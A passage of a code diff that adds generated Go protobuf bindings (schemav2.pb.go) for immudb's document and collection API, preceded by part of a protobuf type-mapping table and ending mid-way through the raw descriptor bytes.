| double | float | Float | +| float | | float | float | float | float32 | float | float | Float | +| int32 | Uses variable-length encoding. Inefficient for encoding negative numbers – if your field is likely to have negative values, use sint32 instead. | int32 | int | int | int32 | int | integer | Bignum or Fixnum (as required) | +| int64 | Uses variable-length encoding. Inefficient for encoding negative numbers – if your field is likely to have negative values, use sint64 instead. | int64 | long | int/long | int64 | long | integer/string | Bignum | +| uint32 | Uses variable-length encoding. | uint32 | int | int/long | uint32 | uint | integer | Bignum or Fixnum (as required) | +| uint64 | Uses variable-length encoding. | uint64 | long | int/long | uint64 | ulong | integer/string | Bignum or Fixnum (as required) | +| sint32 | Uses variable-length encoding. Signed int value. These more efficiently encode negative numbers than regular int32s. | int32 | int | int | int32 | int | integer | Bignum or Fixnum (as required) | +| sint64 | Uses variable-length encoding. Signed int value. These more efficiently encode negative numbers than regular int64s. | int64 | long | int/long | int64 | long | integer/string | Bignum | +| fixed32 | Always four bytes. More efficient than uint32 if values are often greater than 2^28. | uint32 | int | int | uint32 | uint | integer | Bignum or Fixnum (as required) | +| fixed64 | Always eight bytes. More efficient than uint64 if values are often greater than 2^56. | uint64 | long | int/long | uint64 | ulong | integer/string | Bignum | +| sfixed32 | Always four bytes. | int32 | int | int | int32 | int | integer | Bignum or Fixnum (as required) | +| sfixed64 | Always eight bytes. | int64 | long | int/long | int64 | long | integer/string | Bignum | +| bool | | bool | boolean | boolean | bool | bool | boolean | TrueClass/FalseClass | +| string | A string must always contain UTF-8 encoded or 7-bit ASCII text. | string | String | str/unicode | string | string | string | String (UTF-8) | +| bytes | May contain any arbitrary sequence of bytes. | string | ByteString | str | []byte | ByteString | string | String (ASCII-8BIT) | + diff --git a/pkg/api/schemav2/schemav2.pb.go b/pkg/api/schemav2/schemav2.pb.go new file mode 100644 index 0000000000..85fa911e8b --- /dev/null +++ b/pkg/api/schemav2/schemav2.pb.go @@ -0,0 +1,1146 @@ +// Code generated by protoc-gen-go. DO NOT EDIT. +// versions: +// protoc-gen-go v1.28.0 +// protoc v3.12.4 +// source: schemav2.proto + +package schemav2 + +import ( + schema "github.com/codenotary/immudb/pkg/api/schema" + empty "github.com/golang/protobuf/ptypes/empty" + _struct "github.com/golang/protobuf/ptypes/struct" + _ "github.com/grpc-ecosystem/grpc-gateway/protoc-gen-swagger/options" + _ "google.golang.org/genproto/googleapis/api/annotations" + protoreflect "google.golang.org/protobuf/reflect/protoreflect" + protoimpl "google.golang.org/protobuf/runtime/protoimpl" + reflect "reflect" + sync "sync" +) + +const ( + // Verify that this generated code is sufficiently up-to-date. + _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) + // Verify that runtime/protoimpl is sufficiently up-to-date. + _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) +) + +type DocumentInsertRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` + Document []*_struct.Struct `protobuf:"bytes,2,rep,name=document,proto3" json:"document,omitempty"` +} + +func (x *DocumentInsertRequest) Reset() { + *x = DocumentInsertRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_schemav2_proto_msgTypes[0] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *DocumentInsertRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*DocumentInsertRequest) ProtoMessage() {} + +func (x *DocumentInsertRequest) ProtoReflect() protoreflect.Message { + mi := &file_schemav2_proto_msgTypes[0] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use DocumentInsertRequest.ProtoReflect.Descriptor instead. +func (*DocumentInsertRequest) Descriptor() ([]byte, []int) { + return file_schemav2_proto_rawDescGZIP(), []int{0} +} + +func (x *DocumentInsertRequest) GetCollection() string { + if x != nil { + return x.Collection + } + return "" +} + +func (x *DocumentInsertRequest) GetDocument() []*_struct.Struct { + if x != nil { + return x.Document + } + return nil +} + +type DocumentSearchRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` + Query map[string]*_struct.Value `protobuf:"bytes,2,rep,name=query,proto3" json:"query,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` + Page uint32 `protobuf:"varint,3,opt,name=page,proto3" json:"page,omitempty"` + PerPage uint32 `protobuf:"varint,4,opt,name=perPage,proto3" json:"perPage,omitempty"` +} + +func (x *DocumentSearchRequest) Reset() { + *x = DocumentSearchRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_schemav2_proto_msgTypes[1] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *DocumentSearchRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*DocumentSearchRequest) ProtoMessage() {} + +func (x *DocumentSearchRequest) ProtoReflect() protoreflect.Message { + mi := &file_schemav2_proto_msgTypes[1] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use DocumentSearchRequest.ProtoReflect.Descriptor instead. +func (*DocumentSearchRequest) Descriptor() ([]byte, []int) { + return file_schemav2_proto_rawDescGZIP(), []int{1} +} + +func (x *DocumentSearchRequest) GetCollection() string { + if x != nil { + return x.Collection + } + return "" +} + +func (x *DocumentSearchRequest) GetQuery() map[string]*_struct.Value { + if x != nil { + return x.Query + } + return nil +} + +func (x *DocumentSearchRequest) GetPage() uint32 { + if x != nil { + return x.Page + } + return 0 +} + +func (x *DocumentSearchRequest) GetPerPage() uint32 { + if x != nil { + return x.PerPage + } + return 0 +} + +type DocumentSearchResponse struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Results []*_struct.Struct `protobuf:"bytes,1,rep,name=results,proto3" json:"results,omitempty"` + Page uint32 `protobuf:"varint,2,opt,name=page,proto3" json:"page,omitempty"` + PerPage uint32 `protobuf:"varint,3,opt,name=perPage,proto3" json:"perPage,omitempty"` + EntriesLeft uint32 `protobuf:"varint,4,opt,name=entriesLeft,proto3" json:"entriesLeft,omitempty"` +} + +func (x *DocumentSearchResponse) Reset() { + *x = DocumentSearchResponse{} + if protoimpl.UnsafeEnabled { + mi := &file_schemav2_proto_msgTypes[2] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *DocumentSearchResponse) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*DocumentSearchResponse) ProtoMessage() {} + +func (x *DocumentSearchResponse) ProtoReflect() protoreflect.Message { + mi := &file_schemav2_proto_msgTypes[2] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use DocumentSearchResponse.ProtoReflect.Descriptor instead. +func (*DocumentSearchResponse) Descriptor() ([]byte, []int) { + return file_schemav2_proto_rawDescGZIP(), []int{2} +} + +func (x *DocumentSearchResponse) GetResults() []*_struct.Struct { + if x != nil { + return x.Results + } + return nil +} + +func (x *DocumentSearchResponse) GetPage() uint32 { + if x != nil { + return x.Page + } + return 0 +} + +func (x *DocumentSearchResponse) GetPerPage() uint32 { + if x != nil { + return x.PerPage + } + return 0 +} + +func (x *DocumentSearchResponse) GetEntriesLeft() uint32 { + if x != nil { + return x.EntriesLeft + } + return 0 +} + +type LoginRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Username string `protobuf:"bytes,1,opt,name=username,proto3" json:"username,omitempty"` + Password string `protobuf:"bytes,2,opt,name=password,proto3" json:"password,omitempty"` + Database string `protobuf:"bytes,3,opt,name=database,proto3" json:"database,omitempty"` + WriteAccess bool `protobuf:"varint,4,opt,name=writeAccess,proto3" json:"writeAccess,omitempty"` +} + +func (x *LoginRequest) Reset() { + *x = LoginRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_schemav2_proto_msgTypes[3] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *LoginRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*LoginRequest) ProtoMessage() {} + +func (x *LoginRequest) ProtoReflect() protoreflect.Message { + mi := &file_schemav2_proto_msgTypes[3] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use LoginRequest.ProtoReflect.Descriptor instead. +func (*LoginRequest) Descriptor() ([]byte, []int) { + return file_schemav2_proto_rawDescGZIP(), []int{3} +} + +func (x *LoginRequest) GetUsername() string { + if x != nil { + return x.Username + } + return "" +} + +func (x *LoginRequest) GetPassword() string { + if x != nil { + return x.Password + } + return "" +} + +func (x *LoginRequest) GetDatabase() string { + if x != nil { + return x.Database + } + return "" +} + +func (x *LoginRequest) GetWriteAccess() bool { + if x != nil { + return x.WriteAccess + } + return false +} + +type LoginResponse struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Token string `protobuf:"bytes,1,opt,name=token,proto3" json:"token,omitempty"` +} + +func (x *LoginResponse) Reset() { + *x = LoginResponse{} + if protoimpl.UnsafeEnabled { + mi := &file_schemav2_proto_msgTypes[4] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *LoginResponse) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*LoginResponse) ProtoMessage() {} + +func (x *LoginResponse) ProtoReflect() protoreflect.Message { + mi := &file_schemav2_proto_msgTypes[4] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use LoginResponse.ProtoReflect.Descriptor instead. +func (*LoginResponse) Descriptor() ([]byte, []int) { + return file_schemav2_proto_rawDescGZIP(), []int{4} +} + +func (x *LoginResponse) GetToken() string { + if x != nil { + return x.Token + } + return "" +} + +type PossibleIndexValue struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + // The kind of value. + // + // Types that are assignable to Kind: + // + // *PossibleIndexValue_NumberValue + // *PossibleIndexValue_StringValue + // *PossibleIndexValue_BoolValue + // *PossibleIndexValue_IntValue + Kind isPossibleIndexValue_Kind `protobuf_oneof:"kind"` +} + +func (x *PossibleIndexValue) Reset() { + *x = PossibleIndexValue{} + if protoimpl.UnsafeEnabled { + mi := &file_schemav2_proto_msgTypes[5] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *PossibleIndexValue) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*PossibleIndexValue) ProtoMessage() {} + +func (x *PossibleIndexValue) ProtoReflect() protoreflect.Message { + mi := &file_schemav2_proto_msgTypes[5] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use PossibleIndexValue.ProtoReflect.Descriptor instead. +func (*PossibleIndexValue) Descriptor() ([]byte, []int) { + return file_schemav2_proto_rawDescGZIP(), []int{5} +} + +func (m *PossibleIndexValue) GetKind() isPossibleIndexValue_Kind { + if m != nil { + return m.Kind + } + return nil +} + +func (x *PossibleIndexValue) GetNumberValue() float64 { + if x, ok := x.GetKind().(*PossibleIndexValue_NumberValue); ok { + return x.NumberValue + } + return 0 +} + +func (x *PossibleIndexValue) GetStringValue() string { + if x, ok := x.GetKind().(*PossibleIndexValue_StringValue); ok { + return x.StringValue + } + return "" +} + +func (x *PossibleIndexValue) GetBoolValue() bool { + if x, ok := x.GetKind().(*PossibleIndexValue_BoolValue); ok { + return x.BoolValue + } + return false +} + +func (x *PossibleIndexValue) GetIntValue() int64 { + if x, ok := x.GetKind().(*PossibleIndexValue_IntValue); ok { + return x.IntValue + } + return 0 +} + +type isPossibleIndexValue_Kind interface { + isPossibleIndexValue_Kind() +} + +type PossibleIndexValue_NumberValue struct { + // Represents a double value. + NumberValue float64 `protobuf:"fixed64,1,opt,name=number_value,json=numberValue,proto3,oneof"` +} + +type PossibleIndexValue_StringValue struct { + // Represents a string value. + StringValue string `protobuf:"bytes,2,opt,name=string_value,json=stringValue,proto3,oneof"` +} + +type PossibleIndexValue_BoolValue struct { + // Represents a boolean value. + BoolValue bool `protobuf:"varint,3,opt,name=bool_value,json=boolValue,proto3,oneof"` +} + +type PossibleIndexValue_IntValue struct { + // Represents a int64 value + IntValue int64 `protobuf:"varint,4,opt,name=int_value,json=intValue,proto3,oneof"` +} + +func (*PossibleIndexValue_NumberValue) isPossibleIndexValue_Kind() {} + +func (*PossibleIndexValue_StringValue) isPossibleIndexValue_Kind() {} + +func (*PossibleIndexValue_BoolValue) isPossibleIndexValue_Kind() {} + +func (*PossibleIndexValue_IntValue) isPossibleIndexValue_Kind() {} + +type CollectionCreateRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + PrimaryKeys map[string]*PossibleIndexValue `protobuf:"bytes,2,rep,name=primaryKeys,proto3" json:"primaryKeys,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` + IndexKeys map[string]*PossibleIndexValue `protobuf:"bytes,3,rep,name=indexKeys,proto3" json:"indexKeys,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` +} + +func (x *CollectionCreateRequest) Reset() { + *x = CollectionCreateRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_schemav2_proto_msgTypes[6] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *CollectionCreateRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*CollectionCreateRequest) ProtoMessage() {} + +func (x *CollectionCreateRequest) ProtoReflect() protoreflect.Message { + mi := &file_schemav2_proto_msgTypes[6] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use CollectionCreateRequest.ProtoReflect.Descriptor instead. +func (*CollectionCreateRequest) Descriptor() ([]byte, []int) { + return file_schemav2_proto_rawDescGZIP(), []int{6} +} + +func (x *CollectionCreateRequest) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *CollectionCreateRequest) GetPrimaryKeys() map[string]*PossibleIndexValue { + if x != nil { + return x.PrimaryKeys + } + return nil +} + +func (x *CollectionCreateRequest) GetIndexKeys() map[string]*PossibleIndexValue { + if x != nil { + return x.IndexKeys + } + return nil +} + +type CollectionInformation struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + PrimaryKeys map[string]*PossibleIndexValue `protobuf:"bytes,2,rep,name=primaryKeys,proto3" json:"primaryKeys,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` + IndexKeys map[string]*PossibleIndexValue `protobuf:"bytes,3,rep,name=indexKeys,proto3" json:"indexKeys,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` +} + +func (x *CollectionInformation) Reset() { + *x = CollectionInformation{} + if protoimpl.UnsafeEnabled { + mi := &file_schemav2_proto_msgTypes[7] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *CollectionInformation) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*CollectionInformation) ProtoMessage() {} + +func (x *CollectionInformation) ProtoReflect() protoreflect.Message { + mi := &file_schemav2_proto_msgTypes[7] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use CollectionInformation.ProtoReflect.Descriptor instead. +func (*CollectionInformation) Descriptor() ([]byte, []int) { + return file_schemav2_proto_rawDescGZIP(), []int{7} +} + +func (x *CollectionInformation) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *CollectionInformation) GetPrimaryKeys() map[string]*PossibleIndexValue { + if x != nil { + return x.PrimaryKeys + } + return nil +} + +func (x *CollectionInformation) GetIndexKeys() map[string]*PossibleIndexValue { + if x != nil { + return x.IndexKeys + } + return nil +} + +type CollectionListRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields +} + +func (x *CollectionListRequest) Reset() { + *x = CollectionListRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_schemav2_proto_msgTypes[8] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *CollectionListRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*CollectionListRequest) ProtoMessage() {} + +func (x *CollectionListRequest) ProtoReflect() protoreflect.Message { + mi := &file_schemav2_proto_msgTypes[8] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use CollectionListRequest.ProtoReflect.Descriptor instead. +func (*CollectionListRequest) Descriptor() ([]byte, []int) { + return file_schemav2_proto_rawDescGZIP(), []int{8} +} + +type CollectionListResponse struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Collections []*CollectionInformation `protobuf:"bytes,1,rep,name=collections,proto3" json:"collections,omitempty"` +} + +func (x *CollectionListResponse) Reset() { + *x = CollectionListResponse{} + if protoimpl.UnsafeEnabled { + mi := &file_schemav2_proto_msgTypes[9] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *CollectionListResponse) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*CollectionListResponse) ProtoMessage() {} + +func (x *CollectionListResponse) ProtoReflect() protoreflect.Message { + mi := &file_schemav2_proto_msgTypes[9] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use CollectionListResponse.ProtoReflect.Descriptor instead. +func (*CollectionListResponse) Descriptor() ([]byte, []int) { + return file_schemav2_proto_rawDescGZIP(), []int{9} +} + +func (x *CollectionListResponse) GetCollections() []*CollectionInformation { + if x != nil { + return x.Collections + } + return nil +} + +type CollectionDeleteRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` +} + +func (x *CollectionDeleteRequest) Reset() { + *x = CollectionDeleteRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_schemav2_proto_msgTypes[10] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *CollectionDeleteRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*CollectionDeleteRequest) ProtoMessage() {} + +func (x *CollectionDeleteRequest) ProtoReflect() protoreflect.Message { + mi := &file_schemav2_proto_msgTypes[10] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use CollectionDeleteRequest.ProtoReflect.Descriptor instead. +func (*CollectionDeleteRequest) Descriptor() ([]byte, []int) { + return file_schemav2_proto_rawDescGZIP(), []int{10} +} + +func (x *CollectionDeleteRequest) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +var File_schemav2_proto protoreflect.FileDescriptor + +var file_schemav2_proto_rawDesc = []byte{ + 0x0a, 0x0e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x12, 0x0f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, + 0x32, 0x1a, 0x1c, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x61, 0x6e, + 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, + 0x1b, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, + 0x2f, 0x65, 0x6d, 0x70, 0x74, 0x79, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x1c, 0x67, 0x6f, + 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x73, 0x74, + 0x72, 0x75, 0x63, 0x74, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x0c, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x2c, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x63, + 0x2d, 0x67, 0x65, 0x6e, 0x2d, 0x73, 0x77, 0x61, 0x67, 0x67, 0x65, 0x72, 0x2f, 0x6f, 0x70, 0x74, + 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x61, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x22, 0x6c, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, + 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, + 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x02, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x80, 0x02, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, + 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x47, + 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x31, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x6e, 0x74, 0x72, 0x79, + 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, + 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, + 0x72, 0x50, 0x61, 0x67, 0x65, 0x1a, 0x50, 0x0a, 0x0a, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2c, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x9b, 0x01, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x12, 0x31, 0x0a, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x07, 0x72, 0x65, + 0x73, 0x75, 0x6c, 0x74, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, + 0x50, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, + 0x61, 0x67, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, + 0x66, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, + 0x73, 0x4c, 0x65, 0x66, 0x74, 0x22, 0x84, 0x01, 0x0a, 0x0c, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, + 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, + 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x1a, + 0x0a, 0x08, 0x64, 0x61, 0x74, 